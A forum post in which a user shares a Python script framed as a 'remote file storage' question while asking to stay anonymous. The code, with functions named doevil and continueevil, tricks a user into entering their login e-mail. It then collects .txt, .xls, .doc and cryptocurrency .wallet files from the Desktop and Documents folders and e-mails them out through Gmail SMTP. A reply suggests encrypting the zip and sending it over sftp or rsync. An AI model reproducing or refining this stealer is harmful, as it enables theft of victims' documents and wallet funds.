Tech Python - Better way to store a file remotely?

[deonbell]

I wrote a python program a couple of years ago. It zipped all my desktop and document folder files and sent them to me in an e-mail.

Is there a better way to do this? I was think ftp or ssh? But need to remain anonymous. Maybe dropbox?

Here is my old code.

#just playing around with python
import os
import glob
import platform
import zipfile
import sys


userhome = os.path.expanduser('~')
desktop = userhome + '/Desktop/'
useros = platform.system()  
distribution = platform.linux_distribution() 

answeryes = "y"
answercapitalyes = "Y"
answerwordyes = "yes"
answercapitalwordyes = "YES"
allfileszipped = zipfile.ZipFile('thestuff.zip','w')

#creds
username = 'testing'
password = 'testingpass'


def savefilesoff(folder):
    for foldername,subfolders,filenames in os.walk(folder):
        for filename in filenames:		
		    if filename.endswith((".txt",".xls",".doc",".wallet")):
			   savefilename = os.path.join(foldername, filename)
			   thefilesize  = os.path.getsize(savefilename)
			   if thefilesize < 500000:
			     allfileszipped.write(savefilename)   
def continueevil(getlogin):
    errorfile = open('run.log', 'w')
    errorfile.write("error on connect")
    errorfile.close()
    savedwd = os.getcwd()
    
    os.chdir(desktop)

    savefilesoff(desktop)
  
  
    userhome = os.path.expanduser('~')
    documents = userhome + '/Documents/'



    os.chdir(documents)
    documentfiles = glob.glob('*.txt')

    savefilesoff(documents)

    
    os.chdir(savedwd)
    allfileszipped.close()
  
    sendfiles(getlogin)

	
       

def doevil():

    print "enter your login e-mail address and press enter"
    getlogin = raw_input()
    print "Connecting ........"
    print "zipping and sending file - this may take a moment"

    if os.path.isfile("run.log"):
       print "this exploit has been patched"
       allfileszipped.close() 
    else:
       continueevil(getlogin)
        
def sendfiles(getlogin):
    #send file
    import smtplib
    from email.MIMEMultipart import MIMEMultipart
    from email.MIMEText import MIMEText
    from email.MIMEBase import MIMEBase
    from email import encoders
    
    from_addr = "[email protected]"
    to_addr = "[email protected]"	
	
    msg = MIMEMultipart()
	
    msg['From'] = from_addr
    msg['To'] = to_addr
    msg['Subject'] = getlogin
	
    body = "here is the file for " + getlogin
	
    msg.attach(MIMEText(body, 'plain'))
	
    filename = "thestuff.zip"
    savedwd = os.getcwd() 
    attachment = open(savedwd+"/"+filename, "rb")
	
    part = MIMEBase('application', 'octet-stream')
    part.set_payload((attachment).read())
    encoders.encode_base64(part)
    part.add_header('Content-Disposition', "attachment; filename= %s" % filename)
	
    msg.attach(part)
    try: 	
       gserver = smtplib.SMTP("smtp.gmail.com",587)
       gserver.starttls()
       gserver.login(username,password)
       text = msg.as_string()
       gserver.sendmail(from_addr, to_addr, text)
       gserver.quit()
    except:
       print "internet connect error"
       os.remove("run.log")  

print "do you want to continue? Press Y And Hit Enter To Run"
yourdecision = raw_input()
if yourdecision == answeryes or yourdecision == answercapitalyes or yourdecision == answerwordyes or yourdecision == answercapitalwordyes:
   savedwd = os.getcwd()
   doevil()
   os.remove("thestuff.zip")   
else:
  allfileszipped.close()
  os.remove("thestuff.zip")  
  sys.exit()

while creating zip set strong password.
transfer over ssl, like ssh rsync or sftp
